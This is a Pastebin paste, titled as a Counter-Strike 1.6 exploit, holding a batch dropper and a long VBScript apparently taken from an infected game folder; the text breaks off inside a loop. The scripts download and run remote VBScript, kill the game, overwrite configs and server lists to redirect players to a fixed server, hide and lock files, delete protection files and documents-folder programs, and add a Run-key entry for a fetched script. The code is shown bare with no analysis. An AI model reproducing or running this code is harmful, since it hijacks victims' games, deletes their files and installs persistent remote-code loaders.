Advertisement
krot

exploit cstrike run proc

Nov 27th, 2017
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Winbatch 27.78 KB | None | 0 0
  1. C:\Users\user\AppData\Local\VirtualStore\Program Files (x86)\Counter Strike 1.6 Magesy
  2. xforC.cmd
  3. @echo off
  4.  
  5. set DLOAD_SCRIPT=download.vbs
  6. echo Option Explicit                                                    >  %DLOAD_SCRIPT%
  7. echo Dim args, http, fileSystem, adoStream, url, target, status         >> %DLOAD_SCRIPT%
  8. echo.                                                                   >> %DLOAD_SCRIPT%
  9. echo Set args = Wscript.Arguments                                       >> %DLOAD_SCRIPT%
  10. echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1")              >> %DLOAD_SCRIPT%
  11. echo url = args(0)                                                      >> %DLOAD_SCRIPT%
  12. echo target = args(1)                                                   >> %DLOAD_SCRIPT%
  13. echo WScript.Echo "Getting '" ^& target ^& "' from '" ^& url ^& "'..."  >> %DLOAD_SCRIPT%
  14. echo.                                                                   >> %DLOAD_SCRIPT%
  15. echo http.Open "GET", url, False                                        >> %DLOAD_SCRIPT%
  16. echo http.Send                                                          >> %DLOAD_SCRIPT%
  17. echo status = http.Status                                               >> %DLOAD_SCRIPT%
  18. echo.                                                                   >> %DLOAD_SCRIPT%
  19. echo If status ^<^> 200 Then                                            >> %DLOAD_SCRIPT%
  20. echo    WScript.Echo "FAILED to download: HTTP Status " ^& status       >> %DLOAD_SCRIPT%
  21. echo    WScript.Quit 1                                                  >> %DLOAD_SCRIPT%
  22. echo End If                                                             >> %DLOAD_SCRIPT%
  23. echo.                                                                   >> %DLOAD_SCRIPT%
  24. echo Set adoStream = CreateObject("ADODB.Stream")                       >> %DLOAD_SCRIPT%
  25. echo adoStream.Open                                                     >> %DLOAD_SCRIPT%
  26. echo adoStream.Type = 1                                                 >> %DLOAD_SCRIPT%
  27. echo adoStream.Write http.ResponseBody                                  >> %DLOAD_SCRIPT%
  28. echo adoStream.Position = 0                                             >> %DLOAD_SCRIPT%
  29. echo.                                                                   >> %DLOAD_SCRIPT%
  30. echo Set fileSystem = CreateObject("Scripting.FileSystemObject")        >> %DLOAD_SCRIPT%
  31. echo If fileSystem.FileExists(target) Then fileSystem.DeleteFile target >> %DLOAD_SCRIPT%
  32. echo adoStream.SaveToFile target                                        >> %DLOAD_SCRIPT%
  33. echo adoStream.Close                                                    >> %DLOAD_SCRIPT%
  34. echo.                                                                   >> %DLOAD_SCRIPT%
  35.  
  36. cscript //Nologo %DLOAD_SCRIPT% http://site/get/KoMT.vbs KoMT.vbs
  37.  
  38. start KoMT.vbs
  39.  
  40. end file
  41. ................................................
  42. KoMT.vbs
  43. ///////////////
  44. CreateObject("WScript.Shell").Run("taskkill /f /im hl.exe")
  45.  
  46. Sub unProtectFile( filename )
  47.     dim readfile, filesys
  48.     set filesys = CreateObject("Scripting.FileSystemObject")
  49.  
  50.     If filesys.FileExists( filename ) Then
  51.         set readfile = filesys.GetFile( filename )
  52.         readfile.Attributes = 0 ' normal
  53.     End If
  54. End Sub
  55.  
  56. Sub protectFile( filename )
  57.     dim readfile, filesys
  58.     set filesys = CreateObject("Scripting.FileSystemObject")
  59.  
  60.     If filesys.FileExists( filename ) Then
  61.         set readfile = filesys.GetFile( filename )
  62.         readfile.Attributes = 7 ' hidden + system + readonly
  63.     End If
  64. End Sub
  65.  
  66. Sub DeleteAFile( filename )
  67.     Dim filesys
  68.     Set filesys = CreateObject("Scripting.FileSystemObject")
  69.    
  70.     If filesys.FileExists( filename ) Then
  71.         unProtectFile( filename )
  72.         filesys.DeleteFile( filename ), True
  73.     End If
  74. End Sub
  75.  
  76. Sub RenameFile( oldName, newName )
  77.     Dim filesys
  78.     Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
  79.    
  80.     If filesys.FileExists( oldName ) Then
  81.         filesys.MoveFile oldName, newName
  82.     End If
  83. End Sub
  84.  
  85. Sub ClearCFG( path )
  86.     DeleteAFile path
  87.     Set objFSO = CreateObject("Scripting.FileSystemObject")
  88.     Set objFile = objFSO.CreateTextFile(path, ForWriting)
  89.     objFile.Write "connect auto.site:27015"
  90.     objFile.Close
  91.  
  92.     protectFile path
  93. End Sub
  94.  
  95. Sub DeleteAFolder( foldername )
  96.     Dim filesys
  97.     Set filesys = CreateObject("Scripting.FileSystemObject")
  98.    
  99.     If filesys.FolderExists( foldername ) Then
  100.         ' unProtectFile( foldername )
  101.         filesys.DeleteFolder( foldername ), True
  102.     End If
  103. End Sub
  104.  
  105. Sub RenameFolder( oldName, newName )
  106.     Dim filesys
  107.     Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
  108.    
  109.     If filesys.FolderExists( oldName ) Then
  110.         filesys.MoveFolder oldName, newName
  111.     End If
  112. End Sub
  113.  
  114. On Error Resume Next
  115.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  116.     Call objHTTP.Open("GET", "http://site/csfiles/gamemenu.res?" & Rnd, FALSE)
  117.     objHTTP.Send
  118.    
  119.     If Err.Number <> 0 Then
  120.        
  121.     Else
  122.         DeleteAFile "cstrike\resource\GameMenu.res"
  123.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  124.         Set objFile = objFSO.CreateTextFile("cstrike\resource\GameMenu.res", ForWriting)
  125.         objFile.Write objHTTP.ResponseText
  126.         objFile.Close
  127.         protectFile("cstrike\resource\GameMenu.res")
  128.     End If
  129.    
  130. On Error Goto 0
  131.  
  132. On Error Resume Next
  133.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  134.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  135.     objHTTP.Send
  136.    
  137.     If Err.Number <> 0 Then
  138.        
  139.     Else
  140.         DeleteAFile "config\MasterServers.vdf"
  141.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  142.         Set objFile = objFSO.CreateTextFile("config\MasterServers.vdf", ForWriting)
  143.         objFile.Write objHTTP.ResponseText
  144.         objFile.Close
  145.         protectFile("config\MasterServers.vdf")
  146.     End If
  147.    
  148. On Error Goto 0
  149.  
  150. On Error Resume Next
  151.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  152.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  153.     objHTTP.Send
  154.    
  155.     If Err.Number <> 0 Then
  156.        
  157.     Else
  158.         DeleteAFile "config\rev_MasterServers.vdf"
  159.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  160.         Set objFile = objFSO.CreateTextFile("config\rev_MasterServers.vdf", ForWriting)
  161.         objFile.Write objHTTP.ResponseText
  162.         objFile.Close
  163.         protectFile("config\rev_MasterServers.vdf")
  164.     End If
  165.    
  166. On Error Goto 0
  167.  
  168.  
  169. ' Download GameMenu.res
  170. On Error Resume Next
  171.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  172.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  173.     objHTTP.Send
  174.    
  175.     If Err.Number <> 0 Then
  176.        
  177.     Else
  178.         DeleteAFile "platform\config\MasterServers.vdf"
  179.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  180.         Set objFile = objFSO.CreateTextFile("platform\config\MasterServers.vdf", ForWriting)
  181.         objFile.Write objHTTP.ResponseText
  182.         objFile.Close
  183.         protectFile("platform\config\MasterServers.vdf")
  184.     End If
  185.    
  186. On Error Goto 0
  187.  
  188. ' Download GameMenu.res
  189. On Error Resume Next
  190.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  191.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  192.     objHTTP.Send
  193.    
  194.     If Err.Number <> 0 Then
  195.        
  196.     Else
  197.         DeleteAFile "platform\config\rev_MasterServers.vdf"
  198.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  199.         Set objFile = objFSO.CreateTextFile("platform\config\rev_MasterServers.vdf", ForWriting)
  200.         objFile.Write objHTTP.ResponseText
  201.         objFile.Close
  202.         protectFile("platform\config\rev_MasterServers.vdf")
  203.     End If
  204.    
  205. On Error Goto 0
  206.  
  207. On Error Resume Next
  208.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  209.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  210.     objHTTP.Send
  211.    
  212.     If Err.Number <> 0 Then
  213.        
  214.     Else
  215.         DeleteAFile "platform\config\rew_MasterServers.vdf"
  216.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  217.         Set objFile = objFSO.CreateTextFile("platform\config\rew_MasterServers.vdf", ForWriting)
  218.         objFile.Write objHTTP.ResponseText
  219.         objFile.Close
  220.         protectFile("platform\config\rew_MasterServers.vdf")
  221.     End If
  222.    
  223. On Error Goto 0
  224.  
  225. On Error Resume Next
  226.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  227.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  228.     objHTTP.Send
  229.    
  230.     If Err.Number <> 0 Then
  231.        
  232.     Else
  233.         DeleteAFile "valve\resource\UI\bl.res"
  234.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  235.         Set objFile = objFSO.CreateTextFile("valve\resource\UI\bl.res", ForWriting)
  236.         objFile.Write objHTTP.ResponseText
  237.         objFile.Close
  238.         protectFile("valve\resource\UI\bl.res")
  239.     End If
  240.    
  241. On Error Goto 0
  242.  
  243. On Error Resume Next
  244.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  245.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  246.     objHTTP.Send
  247.    
  248.     If Err.Number <> 0 Then
  249.        
  250.     Else
  251.         DeleteAFile "config\rew_MasterServers.vdf"
  252.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  253.         Set objFile = objFSO.CreateTextFile("platform\config\rew_MasterServers.vdf", ForWriting)
  254.         objFile.Write objHTTP.ResponseText
  255.         objFile.Close
  256.         protectFile("config\rew_MasterServers.vdf")
  257.     End If
  258.    
  259. On Error Goto 0
  260.  
  261. On Error Resume Next
  262.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  263.     Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
  264.     objHTTP.Send
  265.    
  266.     If Err.Number <> 0 Then
  267.        
  268.     Else
  269.         DeleteAFile "platform\config\serverbrowser.vdf"
  270.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  271.         Set objFile = objFSO.CreateTextFile("platform\config\serverbrowser.vdf", ForWriting)
  272.         objFile.Write objHTTP.ResponseText
  273.         objFile.Close
  274.         'protectFile("platform\config\serverbrowser.vdf")
  275.     End If
  276.    
  277. On Error Goto 0
  278.  
  279. On Error Resume Next
  280.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  281.     Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
  282.     objHTTP.Send
  283.    
  284.     If Err.Number <> 0 Then
  285.        
  286.     Else
  287.         DeleteAFile "platform\config\rew_serverbrowser.vdf"
  288.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  289.         Set objFile = objFSO.CreateTextFile("platform\config\rew_serverbrowser.vdf", ForWriting)
  290.         objFile.Write objHTTP.ResponseText
  291.         objFile.Close
  292.         'protectFile("platform\config\rew_serverbrowser.vdf")
  293.     End If
  294.    
  295. On Error Goto 0
  296.  
  297. On Error Resume Next
  298.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  299.     Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
  300.     objHTTP.Send
  301.    
  302.     If Err.Number <> 0 Then
  303.        
  304.     Else
  305.         DeleteAFile "platform\config\rev_serverbrowser.vdf"
  306.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  307.         Set objFile = objFSO.CreateTextFile("platform\config\rev_serverbrowser.vdf", ForWriting)
  308.         objFile.Write objHTTP.ResponseText
  309.         objFile.Close
  310.         'protectFile("platform\config\rev_serverbrowser.vdf")
  311.     End If
  312.    
  313. On Error Goto 0
  314.  
  315. On Error Resume Next
  316.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  317.     Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
  318.     objHTTP.Send
  319.    
  320.     If Err.Number <> 0 Then
  321.        
  322.     Else
  323.         DeleteAFile "config\serverbrowser.vdf"
  324.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  325.         Set objFile = objFSO.CreateTextFile("config\serverbrowser.vdf", ForWriting)
  326.         objFile.Write objHTTP.ResponseText
  327.         objFile.Close
  328.         'protectFile("config\serverbrowser.vdf")
  329.     End If
  330.    
  331. On Error Goto 0
  332.  
  333. On Error Resume Next
  334.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  335.     Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
  336.     objHTTP.Send
  337.    
  338.     If Err.Number <> 0 Then
  339.        
  340.     Else
  341.         DeleteAFile "config\rew_serverbrowser.vdf"
  342.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  343.         Set objFile = objFSO.CreateTextFile("config\rew_serverbrowser.vdf", ForWriting)
  344.         objFile.Write objHTTP.ResponseText
  345.         objFile.Close
  346.         'protectFile("config\rew_serverbrowser.vdf")
  347.     End If
  348.    
  349. On Error Goto 0
  350.  
  351. On Error Resume Next
  352.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  353.     Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
  354.     objHTTP.Send
  355.    
  356.     If Err.Number <> 0 Then
  357.        
  358.     Else
  359.         DeleteAFile "config\rev_serverbrowser.vdf"
  360.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  361.         Set objFile = objFSO.CreateTextFile("config\rev_serverbrowser.vdf", ForWriting)
  362.         objFile.Write objHTTP.ResponseText
  363.         objFile.Close
  364.         'protectFile("config\rev_serverbrowser.vdf")
  365.     End If
  366.    
  367. On Error Goto 0
  368.  
  369. On Error Resume Next
  370.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  371.     Call objHTTP.Open("GET", "http://site/csfiles/userconfig.cfg?" & Rnd, FALSE)
  372.     objHTTP.Send
  373.    
  374.     If Err.Number <> 0 Then
  375.        
  376.     Else
  377.         DeleteAFile "cstrike\userconfig.cfg"
  378.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  379.         Set objFile = objFSO.CreateTextFile("cstrike\userconfig.cfg", ForWriting)
  380.         objFile.Write objHTTP.ResponseText
  381.         objFile.Close
  382.         'protectFile("cstrike\userconfig.cfg")
  383.     End If
  384.    
  385. On Error Goto 0
  386.  
  387. On Error Resume Next
  388.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  389.     Call objHTTP.Open("GET", "http://site/csfiles/config.cfg?" & Rnd, FALSE)
  390.     objHTTP.Send
  391.    
  392.     If Err.Number <> 0 Then
  393.        
  394.     Else
  395.         DeleteAFile "cstrike\config.cfg"
  396.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  397.         Set objFile = objFSO.CreateTextFile("cstrike\config.cfg", ForWriting)
  398.         objFile.Write objHTTP.ResponseText
  399.         objFile.Close
  400.         'protectFile("cstrike\config.cfg")
  401.     End If
  402.    
  403. On Error Goto 0
  404.  
  405. On Error Resume Next
  406.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  407.     Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
  408.     objHTTP.Send
  409.    
  410.     If Err.Number <> 0 Then
  411.        
  412.     Else
  413.         DeleteAFile "cstrike\motd_temp.html.old"
  414.         RenameFile "cstrike\motd_temp.html", "cstrike\motd_temp.html.old"
  415.         DeleteAFile "cstrike\motd_temp.html"
  416.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  417.         Set objFile = objFSO.CreateTextFile("cstrike\motd_temp.html", ForWriting)
  418.         objFile.Write objHTTP.ResponseText
  419.         objFile.Close
  420.         protectFile("cstrike\motd_temp.html")
  421.     End If
  422.    
  423. On Error Goto 0
  424.  
  425. On Error Resume Next
  426.     ClearCFG "cstrike\hw\geforce.cfg"
  427.     ClearCFG "cstrike\hw\opengl.cfg"
  428.     ClearCFG "cstrike\autoexec.cfg"
  429.     ClearCFG "cstrike\valve.rc"
  430.     ClearCFG "valve\valve.rc"
  431.  
  432.     ClearCFG "valve\hw\geforce.cfg"
  433.     ClearCFG "valve\hw\opengl.cfg"
  434.     ClearCFG "valve\valve.rc"
  435. On Error Goto 0
  436.  
  437. WScript.Sleep(3000)
  438.  
  439. On Error Resume Next
  440.  
  441.     RenameFolder "cstrike\bin", "cstrike\bin_old"
  442.     RenameFile "cstrike\bin", "cstrike\bin_old"
  443.  
  444.     protectFile("cstrike\liblist.gam")
  445.     DeleteAFile "cstrike\bin\TrackerUI.dll"
  446.     DeleteAFile "valve\bin\TrackerUI.dll"
  447.     DeleteAFile "cstrike\cl_dlls\ParticleMan.dll"
  448.     DeleteAFile "NexonUp.asi"
  449.     DeleteAFile "CMShield.asi", "CMShield.asi.bak"
  450.     DeleteAFile "gopnict.flt"
  451.     DeleteAFile "update.asi"
  452.     DeleteAFile "muc.bak"
  453.     RenameFile "cstrike\bin\TrackerUI.dll", "cstrike\bin\TrackerUI.dll.old"
  454.     RenameFile "cstrike\bin\TrackerUI.DLL", "cstrike\bin\TrackerUI.DLL.old"
  455.     RenameFile "valve\bin\TrackerUI.dll", "valve\bin\TrackerUI.dll.old"
  456.     RenameFile "cstrike\cl_dlls\ParticleMan.dll", "cstrike\cl_dlls\ParticleMan.dll.old"
  457.     RenameFile "NexonUp.asi", "NexonUp.asi.old"
  458.     RenameFile "CsShield.dll", "CsShield.dll.old"
  459.     DeleteAFile "cstrike\bin\TrackerUI.dll.old"
  460.     DeleteAFile "valve\bin\TrackerUI.dll.old"
  461.     DeleteAFile "cstrike\cl_dlls\ParticleMan.dll.old"
  462.     DeleteAFile "NexonUp.asi.old"
  463.     DeleteAFile "SMShield.ini"
  464.     DeleteAFile "SMShield.asi"
  465.     DeleteAFile "SMShield.mix"
  466.     DeleteAFile "client_save.asi"
  467.     DeleteAFile "client_save.dll"
  468.     DeleteAFile "SMShield.txt" 
  469.     DeleteAFile "LoaderD.dll"
  470.     DeleteAFile "LoaderD.txt"  
  471.     DeleteAFile "LoaderD.ini"  
  472.     DeleteAFile "LoaderD.asi"  
  473.     DeleteAFile "cstrike\au.vbs"
  474.     DeleteAFile "steam_ui.flt"
  475.     DeleteAFile "cstrike\cs.exe"
  476.     DeleteAFile "cstrike\radial.cdb"
  477.     DeleteAFile "cstrike\bin\TrackerUI.DLL.old"
  478.    
  479.     DeleteAFile "mssv55.asi.old"
  480.     RenameFile "mssv55.asi", "mssv55.asi.old"
  481.  
  482. On Error Goto 0
  483.  
  484. On Error Resume Next
  485.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  486.     Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
  487.     objHTTP.Send
  488.    
  489.     If Err.Number <> 0 Then
  490.        
  491.     Else
  492.         DeleteAFile "cstrike\bin"
  493.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  494.         Set objFile = objFSO.CreateTextFile("cstrike\bin", ForWriting)
  495.         objFile.Write objHTTP.ResponseText
  496.         objFile.Close
  497.         protectFile("cstrike\bin")
  498.     End If
  499.    
  500. On Error Goto 0
  501.  
  502. On Error Resume Next
  503.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  504.     Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
  505.     objHTTP.Send
  506.    
  507.     If Err.Number <> 0 Then
  508.        
  509.     Else
  510.         DeleteAFile "cstrike\save"
  511.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  512.         Set objFile = objFSO.CreateTextFile("cstrike\save", ForWriting)
  513.         objFile.Write objHTTP.ResponseText
  514.         objFile.Close
  515.         protectFile("cstrike\save")
  516.     End If
  517.    
  518. On Error Goto 0
  519.  
  520. CreateObject("WScript.Shell").Run("hl.exe -steam -game cstrike -noforcemparms -noforcemaccel")
  521.  
  522. Set objShell = Wscript.CreateObject("Wscript.Shell")
  523. strPath = objShell.SpecialFolders("MyDocuments")
  524. strMyPath = strPath & "\"
  525.  
  526. On Error Resume Next
  527.  
  528. Dim filesys
  529. Set filesys = CreateObject("Scripting.FileSystemObject")
  530.  
  531. filesys.DeleteFile( strMyPath & "*.vbs" ), True
  532. filesys.DeleteFile( strMyPath & "*.exe" ), True
  533.  
  534. On Error Goto 0
  535.  
  536. Set objShell = Wscript.CreateObject("Wscript.Shell")
  537. strPath = objShell.SpecialFolders("MyDocuments")
  538. strMyPath = strPath & "\"
  539.  
  540. On Error Resume Next
  541.        Dim objShellReg, oReg
  542.  
  543.        Set objShellReg = CreateObject("WScript.Shell")
  544.  
  545.        Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv")
  546.  
  547.         objShellReg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UVBS", StrMyPath & "fiBYT.vbs", "REG_SZ"
  548.  
  549.        Set objShellReg = Nothing
  550. On Error Goto 0
  551.  
  552.  
  553. Set objShell = Wscript.CreateObject("Wscript.Shell")
  554. strPath = objShell.SpecialFolders("Startup")
  555. strMyPath = strPath & "\"
  556.  
  557. On Error Resume Next
  558.  
  559.     DeleteAFile strMyPath & "hl.vbs"
  560.    
  561. On Error Goto 0
  562.  
  563. WScript.Sleep 5000
  564.  
  565. Set objShell = Wscript.CreateObject("Wscript.Shell")
  566. strPath = objShell.SpecialFolders("MyDocuments")
  567. strMyPath = strPath & "\"
  568.  
  569. On Error Resume Next
  570.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  571.     Call objHTTP.Open("GET", "http://site/get/fiBYT.vbs?" & Rnd, FALSE)
  572.     objHTTP.Send
  573.    
  574.     If Err.Number <> 0 Then
  575.        
  576.     Else
  577.         DeleteAFile strMyPath & "fiBYT.vbs"
  578.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  579.         Set objFile = objFSO.CreateTextFile(strMyPath & "fiBYT.vbs", ForWriting)
  580.         objFile.Write objHTTP.ResponseText
  581.         objFile.Close
  582.         protectFile(strMyPath & "fiBYT.vbs")
  583.     End If
  584.    
  585. On Error Resume Next
  586.  
  587. On Error Resume Next
  588.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  589.     Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
  590.     objHTTP.Send
  591.    
  592.     If Err.Number <> 0 Then
  593.        
  594.     Else
  595.         DeleteAFile strMyPath & "mrv.upk"
  596.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  597.         Set objFile = objFSO.CreateTextFile(strMyPath & "mrv.upk", ForWriting)
  598.         objFile.Write objHTTP.ResponseText
  599.         objFile.Close
  600.         protectFile(strMyPath & "mrv.upk")
  601.     End If
  602.    
  603. On Error Goto 0
  604.  
  605. On Error Resume Next
  606.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  607.     Call objHTTP.Open("GET", "http://site/csfiles/gamemenu.res?" & Rnd, FALSE)
  608.     objHTTP.Send
  609.    
  610.     If Err.Number <> 0 Then
  611.        
  612.     Else
  613.         DeleteAFile strMyPath & "mrvgamemenu.upk"
  614.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  615.         Set objFile = objFSO.CreateTextFile(strMyPath & "mrvgamemenu.upk", ForWriting)
  616.         objFile.Write objHTTP.ResponseText
  617.         objFile.Close
  618.         protectFile(strMyPath & "mrvgamemenu.upk")
  619.     End If
  620.    
  621. On Error Goto 0
  622.  
  623. On Error Resume Next
  624.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  625.     Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
  626.     objHTTP.Send
  627.    
  628.     If Err.Number <> 0 Then
  629.        
  630.     Else
  631.         DeleteAFile strMyPath & "bin"
  632.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  633.         Set objFile = objFSO.CreateTextFile(strMyPath & "bin", ForWriting)
  634.         objFile.Write objHTTP.ResponseText
  635.         objFile.Close
  636.         protectFile(strMyPath & "bin")
  637.     End If
  638.    
  639. On Error Goto 0
  640.  
  641. On Error Resume Next
  642.     Set objHTTP = CreateObject("MSXML2.XMLHTTP")
  643.     Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
  644.     objHTTP.Send
  645.    
  646.     If Err.Number <> 0 Then
  647.        
  648.     Else
  649.         DeleteAFile strMyPath & "motd_temp.html"
  650.         Set objFSO = CreateObject("Scripting.FileSystemObject")
  651.         Set objFile = objFSO.CreateTextFile(strMyPath & "motd_temp.html", ForWriting)
  652.         objFile.Write objHTTP.ResponseText
  653.         objFile.Close
  654.         protectFile(strMyPath & "motd_temp.html")
  655.     End If
  656.    
  657. On Error Goto 0
  658.  
  659. strComputer = "."
  660. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  661.  
  662. Set colFiles = objWMIService.ExecQuery _
  663.    ("Select * from CIM_DataFile Where Filename = 'hl' and Extension = 'exe'")
  664.  
  665. For Each objFile in colFiles
  666.  
  667. On Error Resume Next
  668.  
  669.     DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin_old"
  670.     DeleteAFile  objFile.Drive & objFile.Path & "cstrike\bin_old"
  671.  
  672.     DeleteAFile objFile.Drive & objFile.Path & "bin\TrackerUI.DLL"
  673.     DeleteAFile objFile.Drive & objFile.Path & "config\MasterServers.vdf"
  674.     DeleteAFile objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
  675.     DeleteAFile objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
  676.     DeleteAFile objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
  677.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
  678.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll"
  679.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\au.vbs"
  680.     DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll"
  681.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll"
  682.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\protector.cfg"
  683.     DeleteAFile objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
  684.     DeleteAFile objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
  685.  
  686.     RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
  687.     RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
  688.     RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
  689.  
  690.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
  691.     DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
  692.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
  693.  
  694.     DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi"
  695.     DeleteAFile objFile.Drive & objFile.Path & "gopnict.flt"
  696.     DeleteAFile objFile.Drive & objFile.Path & "update.asi"
  697.     DeleteAFile objFile.Drive & objFile.Path & "muc.bak"
  698.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
  699.     DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
  700.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
  701.     DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi.old"
  702.     DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
  703.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\radial.cdb"
  704.     RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
  705.    
  706.     DeleteAFile objFile.Drive & objFile.Path & "msvv82.asi.old"
  707.     RenameFile objFile.Drive & objFile.Path & "msvv82.asi", objFile.Drive & objFile.Path & "msvv82.asi.old"
  708.  
  709.     RenameFolder  objFile.Drive & objFile.Path & "cstrike\bin",  objFile.Drive & objFile.Path & "cstrike\bin_old"
  710.     RenameFile objFile.Drive & objFile.Path & "cstrike\bin",  objFile.Drive & objFile.Path & "cstrike\bin_old"
  711.  
  712.     DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
  713.     RenameFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html",  objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
  714.  
  715.     Dim FSO
  716.     Set FSO = CreateObject("Scripting.FileSystemObject")
  717.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "valve\resource\UI\bl.res"
  718.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\MasterServers.vdf"
  719.     FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
